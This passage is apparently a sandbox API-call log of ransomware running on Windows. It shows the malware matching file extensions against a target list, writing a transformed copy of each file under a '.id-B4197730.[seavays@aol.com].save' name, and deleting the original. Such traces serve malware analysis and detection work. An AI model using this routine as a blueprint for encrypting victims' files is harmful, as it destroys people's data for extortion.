(lpString=".dbf") returned 4 [0053.160] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0053.160] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0053.160] lstrlenW (lpString=".1cd") returned 4 [0053.160] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0053.160] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0053.160] lstrlenW (lpString=".jpg") returned 4 [0053.160] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0053.160] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0053.160] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0053.160] lstrlenW (lpString=".doc") returned 4 [0053.160] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0053.160] lstrlenW (lpString=".docx") returned 5 [0053.160] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0053.160] lstrlenW (lpString=".pdf") returned 4 [0053.160] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0053.160] lstrlenW (lpString=".xls") returned 4 [0053.160] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0053.160] lstrlenW (lpString=".xlsx") returned 5 [0053.160] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0053.160] lstrlenW (lpString=".ppt") returned 4 [0053.160] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0053.161] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0053.161] lstrlenW (lpString=".zip") returned 4 [0053.161] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0053.161] lstrlenW (lpString=".rar") returned 4 [0053.161] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0053.161] lstrlenW (lpString=".bz2") returned 4 [0053.161] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0053.161] lstrlenW (lpString=".7z") returned 3 [0053.161] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0053.161] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0053.161] lstrlenW (lpString=".dbf") returned 4 [0053.161] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0053.161] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0053.161] lstrlenW (lpString=".1cd") returned 4 [0053.161] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0053.161] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0053.161] lstrlenW (lpString=".jpg") returned 4 [0053.161] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0053.161] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0053.161] lstrlenW (lpString="LocalizedData.xml") returned 17 [0053.161] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0053.161] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=60684) returned 1 [0053.162] CloseHandle (hObject=0x2e8) returned 1 [0053.162] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml")) returned 0x80 [0053.162] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0053.162] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0053.162] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0053.162] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0053.162] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0053.162] GetLastError () returned 0x0 [0053.162] ReadFile (in: hFile=0x2e8, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0xed0c, lpOverlapped=0x0) returned 1 [0053.990] WriteFile (in: hFile=0x314, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xed10, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xed10, lpOverlapped=0x0) returned 1 [0053.992] ReadFile (in: hFile=0x2e8, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0053.994] WriteFile (in: hFile=0x314, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xf6, lpOverlapped=0x0) returned 1 [0053.994] SetEndOfFile (hFile=0x314) returned 1 [0053.995] CloseHandle (hObject=0x314) returned 1 [0053.997] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0053.997] SetEndOfFile (hFile=0x2e8) returned 1 [0053.998] CloseHandle (hObject=0x2e8) returned 1 [0053.998] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0053.998] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml")) returned 1 [0053.998] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0053.998] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0053.998] lstrlenW (lpString=".doc") returned 4 [0053.998] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0053.998] lstrlenW (lpString=".docx") returned 5 [0053.999] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0053.999] lstrlenW (lpString=".pdf") returned 4 [0053.999] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0053.999] lstrlenW (lpString=".xls") returned 4 [0053.999] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0053.999] lstrlenW (lpString=".xlsx") returned 5 [0053.999] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0053.999] lstrlenW (lpString=".ppt") returned 4 [0053.999] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0053.999] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0053.999] lstrlenW (lpString=".zip") returned 4 [0053.999] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0053.999] lstrlenW (lpString=".rar") returned 4 [0053.999] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0053.999] lstrlenW (lpString=".bz2") returned 4 [0053.999] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0053.999] lstrlenW (lpString=".7z") returned 3 [0053.999] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0053.999] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0053.999] lstrlenW (lpString=".dbf") returned 4 [0053.999] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0053.999] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0053.999] lstrlenW (lpString=".1cd") returned 4 [0053.999] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0053.999] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0053.999] lstrlenW (lpString=".jpg") returned 4 [0053.999] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0053.999] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0053.999] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0053.999] lstrlenW (lpString=".doc") returned 4 [0053.999] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0054.000] lstrlenW (lpString=".docx") returned 5 [0054.000] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0054.000] lstrlenW (lpString=".pdf") returned 4 [0054.000] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0054.000] lstrlenW (lpString=".xls") returned 4 [0054.000] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0054.000] lstrlenW (lpString=".xlsx") returned 5 [0054.000] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0054.000] lstrlenW (lpString=".ppt") returned 4 [0054.000] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0054.000] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0054.000] lstrlenW (lpString=".zip") returned 4 [0054.000] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0054.000] lstrlenW (lpString=".rar") returned 4 [0054.000] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0054.000] lstrlenW (lpString=".bz2") returned 4 [0054.000] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0054.000] lstrlenW (lpString=".7z") returned 3 [0054.000] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0054.000] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0054.000] lstrlenW (lpString=".dbf") returned 4 [0054.000] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0054.000] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0054.000] lstrlenW (lpString=".1cd") returned 4 [0054.000] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0054.000] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0054.000] lstrlenW (lpString=".jpg") returned 4 [0054.000] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0054.000] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0054.001] lstrlenW (lpString="Parameterinfo.xml") returned 17 [0054.001] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0054.001] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=93314) returned 1 [0054.001] CloseHandle (hObject=0x2e8) returned 1 [0054.001] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml")) returned 0x80 [0054.001] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0054.001] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0054.001] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0054.001] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0054.001] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0054.002] GetLastError () returned 0x0 [0054.002] ReadFile (in: hFile=0x2e8, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x16c82, lpOverlapped=0x0) returned 1 [0054.005] WriteFile (in: hFile=0x314, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x16c90, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x16c90, lpOverlapped=0x0) returned 1 [0054.007] ReadFile (in: hFile=0x2e8, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0054.007] WriteFile (in: hFile=0x314, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xf6, lpOverlapped=0x0) returned 1 [0054.007] SetEndOfFile (hFile=0x314) returned 1 [0054.007] CloseHandle (hObject=0x314) returned 1 [0054.010] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0054.010] SetEndOfFile (hFile=0x2e8) returned 1 [0054.011] CloseHandle (hObject=0x2e8) returned 1 [0054.011] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0054.011] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml")) returned 1 [0054.012] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0054.012] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0054.012] lstrlenW (lpString=".doc") returned 4 [0054.012] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0054.012] lstrlenW (lpString=".docx") returned 5 [0054.012] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0054.012] lstrlenW (lpString=".pdf") returned 4 [0054.012] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0054.012] lstrlenW (lpString=".xls") returned 4 [0054.012] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0054.012] lstrlenW (lpString=".xlsx") returned 5 [0054.012] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0054.012] lstrlenW (lpString=".ppt") returned 4 [0054.012] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0054.012] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0054.012] lstrlenW (lpString=".zip") returned 4 [0054.012] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0054.012] lstrlenW (lpString=".rar") returned 4 [0054.012] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0054.012] lstrlenW (lpString=".bz2") returned 4 [0054.012] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0054.012] lstrlenW (lpString=".7z") returned 3 [0054.012] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0054.012] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0054.012] lstrlenW (lpString=".dbf") returned 4 [0054.012] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0054.012] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0054.012] lstrlenW (lpString=".1cd") returned 4 [0054.012] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0054.013] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0054.013] lstrlenW (lpString=".jpg") returned 4 [0054.013] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0054.013] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0054.013] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0054.013] lstrlenW (lpString=".doc") returned 4 [0054.013] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0054.013] lstrlenW (lpString=".docx") returned 5 [0054.013] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0054.013] lstrlenW (lpString=".pdf") returned 4 [0054.013] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0054.013] lstrlenW (lpString=".xls") returned 4 [0054.013] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0054.013] lstrlenW (lpString=".xlsx") returned 5 [0054.013] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0054.013] lstrlenW (lpString=".ppt") returned 4 [0054.013] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0054.013] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0054.013] lstrlenW (lpString=".zip") returned 4 [0054.013] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0054.013] lstrlenW (lpString=".rar") returned 4 [0054.013] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0054.013] lstrlenW (lpString=".bz2") returned 4 [0054.013] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0054.013] lstrlenW (lpString=".7z") returned 3 [0054.013] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0054.013] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0054.013] lstrlenW (lpString=".dbf") returned 4 [0054.013] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0054.013] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0054.013] lstrlenW (lpString=".1cd") returned 4 [0054.013] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0054.014] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0054.014] lstrlenW (lpString=".jpg") returned 4 [0054.014] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0054.014] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0054.014] lstrlenW (lpString="UiInfo.xml") returned 10 [0054.014] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0054.014] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=39050) returned 1 [0054.014] CloseHandle (hObject=0x2e8) returned 1 [0054.014] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml")) returned 0x80 [0054.014] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0054.014] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0054.014] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0054.014] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0054.015] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0054.016] GetLastError () returned 0x0 [0054.016] ReadFile (in: hFile=0x2e8, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x988a, lpOverlapped=0x0) returned 1 [0054.018] WriteFile (in: hFile=0x314, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x9890, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x9890, lpOverlapped=0x0) returned 1 [0054.019] ReadFile (in: hFile=0x2e8, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0054.020] WriteFile (in: hFile=0x314, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xe8, lpOverlapped=0x0) returned 1 [0054.020] SetEndOfFile (hFile=0x314) returned 1 [0054.020] CloseHandle (hObject=0x314) returned 1 [0054.021] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0054.021] SetEndOfFile (hFile=0x2e8) returned 1 [0054.022] CloseHandle (hObject=0x2e8) returned 1 [0054.023] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0054.023] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml")) returned 1 [0054.023] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0054.023] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0054.023] lstrlenW (lpString=".doc") returned 4 [0054.023] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0054.023] lstrlenW (lpString=".docx") returned 5 [0054.023] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0054.023] lstrlenW (lpString=".pdf") returned 4 [0054.023] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0054.023] lstrlenW (lpString=".xls") returned 4 [0054.023] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0054.023] lstrlenW (lpString=".xlsx") returned 5 [0054.023] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0054.023] lstrlenW (lpString=".ppt") returned 4 [0054.023] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0054.023] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0054.023] lstrlenW (lpString=".zip") returned 4 [0054.024] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0054.024] lstrlenW (lpString=".rar") returned 4 [0054.024] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0054.024] lstrlenW (lpString=".bz2") returned 4 [0054.024] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0054.024] lstrlenW (lpString=".7z") returned 3 [0054.024] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0054.024] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0054.024] lstrlenW (lpString=".dbf") returned 4 [0054.024] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0054.024] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0054.024] lstrlenW (lpString=".1cd") returned 4 [0054.024] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0054.024] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0054.024] lstrlenW (lpString=".jpg") returned 4 [0054.024] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0054.024] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0054.024] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0054.024] lstrlenW (lpString=".doc") returned 4 [0054.024] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0054.024] lstrlenW (lpString=".docx") returned 5 [0054.024] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0054.024] lstrlenW (lpString=".pdf") returned 4 [0054.024] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0054.024] lstrlenW (lpString=".xls") returned 4 [0054.024] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0054.024] lstrlenW (lpString=".xlsx") returned 5 [0054.024] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0054.024] lstrlenW (lpString=".ppt") returned 4 [0054.024] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0054.024] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0054.024] lstrlenW (lpString=".zip") returned 4 [0054.025] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0054.025] lstrlenW (lpString=".rar") returned 4 [0054.025] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0054.025] lstrlenW (lpString=".bz2") returned 4 [0054.025] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0054.025] lstrlenW (lpString=".7z") returned 3 [0054.025] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0054.025] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0054.025] lstrlenW (lpString=".dbf") returned 4 [0054.025] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0054.025] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0054.025] lstrlenW (lpString=".1cd") returned 4 [0054.025] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0054.025] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0054.025] lstrlenW (lpString=".jpg") returned 4 [0054.025] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0054.025] lstrcmpiW (lpString1=".bmp", 